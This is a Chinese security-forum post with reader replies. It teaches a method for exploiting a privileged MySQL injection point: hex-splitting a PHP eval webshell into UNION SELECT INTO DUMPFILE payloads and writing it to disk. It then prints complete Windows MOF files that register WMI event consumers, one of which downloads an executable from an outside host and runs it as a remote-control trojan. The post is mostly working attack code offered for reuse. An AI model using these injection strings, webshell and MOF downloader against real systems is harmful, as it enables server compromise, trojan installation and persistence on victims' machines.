用户
搜索
  • TA的每日心情
    郁闷
    2018-3-22 15:43
  • 签到天数: 58 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    19

    主题

    97

    帖子

    1949

    魔法币
    收听
    0
    粉丝
    57
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2016-8-11 16:27:01 3036500
    本帖最后由 Binghe 于 2016-8-12 08:55 编辑
    社区:i春秋

    时间:2016年8月11号晚

    作者:Binghe

    前言:
    渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合

    简介:
    如下

    mysql注入点如果权限较高的话,再知道web物理目录说明这个站胜券在握。
    可以直接 – – os-shell拿到交互的cmd和一个小马
    然而上述对应下图的例子属于万分侥幸。

    1.png

    如果不知道物理路径,我们还可以
    [AppleScript] 纯文本查看 复制代码
    select host,user,password from mysql.user;
    读取root密码用navicat连上去提权,不要问我为什么不直接用–sql-shell,你自己试试便知道。

    2.png

    然而读出来的是mysqlhash  ,破解不出来,便只能读网站admin数据进后台,就像:

    3.png

    读出来admin数据还不一定能解出来密码
    后台还不一定找得到
    找到后台还不一定能传马
    传了马还不一定能提权。。。
    那么,问题来了,这个注入点还有价值么???这便是本文讨论的要点。
    答案当然是有的。方法大家也许都用过只是没有综合使用:
    Mysql导出文件条件
    1 Root权限(其实并非root不可 ,具备insert权限即可)
    2 可写目录(即使是system权限,用驱动限制也没法写)


    我们不希望导出的数据因存在转义字符等问题而不完整,一般采用hexunhex编码之后再导出。
    1  SELECT HEX(‘binghesec,test!’),查询的结果为:62696e6768657365632c7465737421

    2  SELECTUNHEX(‘62696e6768657365632c7465737421’),查询的结果为:binghesec,test!

    3  还可以直接读取16进制的字符,在字符串前加0x前导: SELECT 0x62696e6768657365632c7465737421,查询结果为:binghesec,test!


    4.png .
    众所周知在mysql注入点执行union联合查询需要和它本身的查询匹配字段数(一致),如某个数字型注入点有5个字段,一般是select 1,2,3,4,0x(文件hex)导出,文件头多个1234,如果导出的是php,文件可以正常使用,mofexe等就不行。若注入类型为字符等,可用万能的null来匹配,select null,null,null,null,0x(文件hex),文件头又多了4null,如何解决?
    科普可知如果想导出完整原样的文件需要分段合成,例:
    [AppleScript] 纯文本查看 复制代码
    php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
    如何拆分呢,且看:
    如果通过order判断得知存在5个字段,那么便将一句话木马分成5份,那么如果是50个字段你可以把一句话分成50份,什么?一句话不到50?你就不能动动脑子么?
    这样不是一句话么?
    [AppleScript] 纯文本查看 复制代码
    <?php @eval($_POST['1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111']);?>
    5.png

    然后分别把5段进行hex加密

    6.png

    一句话就变成了这几段
    [AppleScript] 纯文本查看 复制代码
    3c3f70687020
    40
    6576616c2824
    5f504f5354
    5b2762696e676865736563275d293b3f3e
    把这每段前面加上0x或者用unhex函数还原,按次序放在注入语句的select后面执行即可
    [AppleScript] 纯文本查看 复制代码
    php?id=1 and 1=2 union select 0x3c3f70687020,0x40,0x6576616c,0x28245f504f5354,unhex(‘5b2762696e676865736563275d293b3f3e’) into dumpfile ‘C:/www/binghesec.php’;
    听到这里不知道你有没有想打我的冲动,你特么讲了半天就讲了mysql导出一句话木马?还加密来加密去的?   额,你要这要想我就笑了,你可以直接select一句话木马内容到指定目录,您能select一个大马?一个mof? 况且我们在讨论不知道web物理路径的情况,乱写个一句话,那不叫shell。此法通用。接着看:
    Mysql注入点种马的几种方法  
    1 导出hta vbs bat exe等到启动项或开机会加载脚本的地方    此方法需要目标机器重启若无法让管理员重启将无效    服务器上存在杀软的话,导出可执行文件估计直接拦截         
    2  计划任务(实战测试本地配的脚本丢到目标机完全无效)        
    3 UDF提权 (有条件执行create等函数才能执行命令)    有时候注入点长度限制也不定能把整个udf导过去         
    4 MOF提权(完美解决以上3种方法的缺陷,直接种马)

    mof提权我想我不必多言
    我们的淫荡思路便是:
    •  1.拆分 ‘下载者mof’ 文件的代码为hex再合并导出
    •  2.拆分运行exe的mof文件的代码为hex再合并导出
    下载者mof文件如下:
    [AppleScript] 纯文本查看 复制代码
    #pragma namespace("\\\\.\\root\\subscription")
    
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "VBScript";
    ScriptText ="Set Post = CreateObject(\"Msxml2.XMLHTTP\")\nSet Shell = CreateObject(\"Wscript.Shell\")\nPost.Open \"GET\",\"http://192.168.85.130/m.exe\",0\nPost.Send()\nSet aGet = CreateObject(\"ADODB.Stream\")\naGet.Mode = 3\naGet.Type = 1\naGet.Open()\naGet.Write(Post.responseBody)\naGet.SaveToFile \"C:\\WINDOWS\\Temp\\ftp.exe\",2\nShell.Run (\"C:\\WINDOWS\\Temp\\binghesec.exe\")";
    };
    
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    下载好了还需要运行的mof
    [AppleScript] 纯文本查看 复制代码
    #pragma namespace("\\\\.\\root\\subscription")[/align][align=left]
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"c:\\windows\\temp\\binghesec.exe\")";
    };
    
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    保存为mof文件用工具转换成16进制再用上述方法在注入点分割执行导出到系统mof目录就ok
    参考上文说的mof提权,注意导出目录为C:\WINDOWS\system32\wbem\mof\
    如果mof没问题就会下载我们的远控木马到指定的目录


    此只为一种利用方法。


    总结:
    仅是一个小思路,在权限较高且没有web目录、破解不出mysql的hash、破解不出后台数据或者找不到后台的情况下适用,至于导出的文件,可以是mof,当然也可以是lpk,当然还可以是。。。,自行利用。


    评分

    参与人数 1价值分 +10 收起 理由
    坏蛋 + 10 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    Only the code will always follow me.
    坏蛋 管理员 欢迎大家来春秋群找我玩 秦 楚 燕 魏 齐 赵 春秋文阁
    来自 22#
    发表于 2016-8-17 11:11:56
    作者
    帖子链接
    评估分数(0-3分)
    原创性
    标题
    排版
    内容要求
    内容深度
    内容趣味性
    点评
    总分
    奖金
    技巧整合 - mysql注入点的另类利用
    评估分数(0-3分)
    1
    2
    2
    2
    2
    1
    姿势不错,加入更多自己的东西就更好了
    10
    30元

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    发表于 2019-1-24 22:40:19

    其实文章看完之后最该思考的就是总结,如何防御,在总结的几句话里体现出来

    ”总结:仅是一个小思路,在权限较高且没有web目录、破解不出mysql的hash、破解不出后台数据或者找不到后台的情况下适用,至于导出的文件,可以是mof,当然也可以是lpk“
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2017-2-21 21:42:44
    写权限还可以尝试一下读权限,有几次没有写权限都是用读权限去直接读取网站文件得到敏感信息的(就是跪在上传那块)
    使用道具 举报 回复
    发表于 2018-11-21 21:11:23
    学习了,感谢分享
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩 秦 楚 燕 魏 齐 赵 春秋文阁
    沙发
    发表于 2016-8-11 16:52:41
    光速沙发
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    发表于 2016-8-11 16:57:05
    高手
    使用道具 举报 回复
    发表于 2016-8-11 17:15:17
    感谢楼主分享,解答了一个困惑我已久的问题。
    使用道具 举报 回复
    发表于 2016-8-11 17:18:08
    学习了
    使用道具 举报 回复
    发表于 2016-8-11 17:56:08
    学习了,感谢分享
    不求甚解觅慧识,繁华落尽见真淳。
    使用道具 举报 回复
    发表于 2016-8-11 18:39:34
    腻害
    使用道具 举报 回复
    发表于 2016-8-11 20:57:21
    膜拜一波楼主先。我现在手上就有一个这个问题的站,不知道楼主能不能加个好友。指教下!
    使用道具 举报 回复
    发表于 2016-8-11 20:58:39
    秋名山 发表于 2016-8-11 12:57
    膜拜一波楼主先。我现在手上就有一个这个问题的站,不知道楼主能不能加个好友。指教下! ...

    照文章思路测试一下 不行的的话 可私信交流
    Only the code will always follow me.
    使用道具 举报 回复
    发表于 2016-8-11 21:01:49
    Binghe 发表于 2016-8-11 20:58
    照文章思路测试一下 不行的的话 可私信交流

    嗯嗯,好的,还在学习这篇文章的总体!
    使用道具 举报 回复
    谢谢楼主分享
    啊啊啊
    使用道具 举报 回复
    发表于 2016-8-12 10:30:44
    学习了,十分感谢
    使用道具 举报 回复
    发表于 2016-8-12 11:16:03
    使用道具 举报 回复
    发表于 2016-8-12 14:12:47
    辛苦了,看看哈
    使用道具 举报 回复
    发表于 2016-8-12 22:26:32
    敢问楼主微信多少
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册